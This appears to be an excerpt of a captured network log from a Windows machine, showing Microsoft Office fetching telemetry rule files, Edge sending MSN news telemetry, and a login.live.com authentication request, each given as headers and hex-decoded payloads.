2024-11-16 18:22:35 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=d5193343d62545dcab4d7029613a901a&HASH=d519&LV=202411&V=4&LU=1731781355564; Domain=.microsoft.com; Expires=Sun, 16 Nov 2025 18:22:35 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=4fdcbef975194a31a44b18f9c95f26ef; Domain=.microsoft.com; Expires=Sat, 16 Nov 2024 18:52:35 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1955 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sat, 16 Nov 2024 18:22:34 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.5	49886	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:35 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:36 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:35 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 9ba9b484-c01e-00ad-5d7f-37a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182235Z-16547b76f7fmcv27hC1DFWgpcg00000001wg00000000hg16 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:36 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.5	49887	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:35 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:35 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: cb36dd23-401e-0067-3b09-3709c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182235Z-16547b76f7fzwxm2hC1DFWt5hw00000000q000000000k3v4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:36 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.5	49889	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:35 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:36 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 31218528-d01e-0082-6eee-36e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182236Z-1866b5c5fbbfkdfghC1DFW4sv4000000029g000000006qhb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:36 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.5	49885	13.69.116.109	443	7908	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:36 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731781353630&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5311 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3A4078140C106EC03F536D2D0D356F1D; _EDGE_S=F=1&SID=2D0C79B8880E64711C856C8189B965E7; _EDGE_V=1; msnup=; _C_ETH=1
2024-11-16 18:22:36 UTC	5311	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 36 54 31 38 3a 32 32 3a 33 33 2e 36 32 39 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 32 66 66 65 65 65 39 33 2d 63 63 38 33 2d 34 39 31 38 2d 62 32 62 31 2d 30 66 32 39 65 38 37 36 64 66 38 64 22 2c 22 65 70 6f 63 68 22 3a 22 38 32 33 31 30 37 35 39 33 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 22 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-16T18:22:33.629Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"2ffeee93-cc83-4918-b2b1-0f29e876df8d","epoch":"823107593"},"app":{"locale"
2024-11-16 18:22:36 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=b467eb0337fa4162a32cf05951efb4ce&HASH=b467&LV=202411&V=4&LU=1731781356425; Domain=.microsoft.com; Expires=Sun, 16 Nov 2025 18:22:36 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=6898d18f8c4740a998255c958890c54e; Domain=.microsoft.com; Expires=Sat, 16 Nov 2024 18:52:36 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2795 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sat, 16 Nov 2024 18:22:36 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.5	49888	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:36 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:36 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:36 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 1572e0e4-b01e-003e-1a0c-2d8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182236Z-16547b76f7fk9g8vhC1DFW825400000003wg00000000drur x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 18:22:36 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.5	49890	40.126.31.69	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:36 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-16 18:22:36 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-16 18:22:36 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sat, 16 Nov 2024 18:21:36 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C545_BAY x-ms-request-id: d6273ba3-e5b1-4896-baa5-07cef2e9c937 PPServer: PPV: 30 H: PH1PEPF00011FBD V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sat, 16 Nov 2024 18:22:35 GMT Connection: close Content-Length: 11392
2024-11-16 18:22:36 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.5	49891	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:36 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:36 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:36 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: f3ae074e-d01e-0082-62af-36e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182236Z-1866b5c5fbbxjblthC1DFW6b48000000015g000000004xmq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:36 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.5	49881	13.69.116.109	443	7908	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:36 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731781354176&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5549 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3A4078140C106EC03F536D2D0D356F1D; _EDGE_S=F=1&SID=2D0C79B8880E64711C856C8189B965E7; _EDGE_V=1; msnup=; _C_ETH=1
2024-11-16 18:22:36 UTC	5549	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 36 54 31 38 3a 32 32 3a 33 34 2e 31 37 35 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 36 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 32 66 66 65 65 65 39 33 2d 63 63 38 33 2d 34 39 31 38 2d 62 32 62 31 2d 30 66 32 39 65 38 37 36 64 66 38 64 22 2c 22 65 70 6f 63 68 22 3a 22 38 32 33 31 30 37 35 39 33 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-11-16T18:22:34.175Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":6,"installId":"2ffeee93-cc83-4918-b2b1-0f29e876df8d","epoch":"823107593"},"app":{"loca
2024-11-16 18:22:36 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=a9d3b32c062b4de48651c1a52647b200&HASH=a9d3&LV=202411&V=4&LU=1731781356678; Domain=.microsoft.com; Expires=Sun, 16 Nov 2025 18:22:36 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=19b2c5f717a844acbe521ac6a1324da7; Domain=.microsoft.com; Expires=Sat, 16 Nov 2024 18:52:36 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2502 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sat, 16 Nov 2024 18:22:35 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.5	49892	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:36 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:36 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: b301b02c-001e-0014-179f-375151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182236Z-16547b76f7ff9zf4hC1DFW2pfc00000000p000000000ms6n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:36 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.5	49893	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:36 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
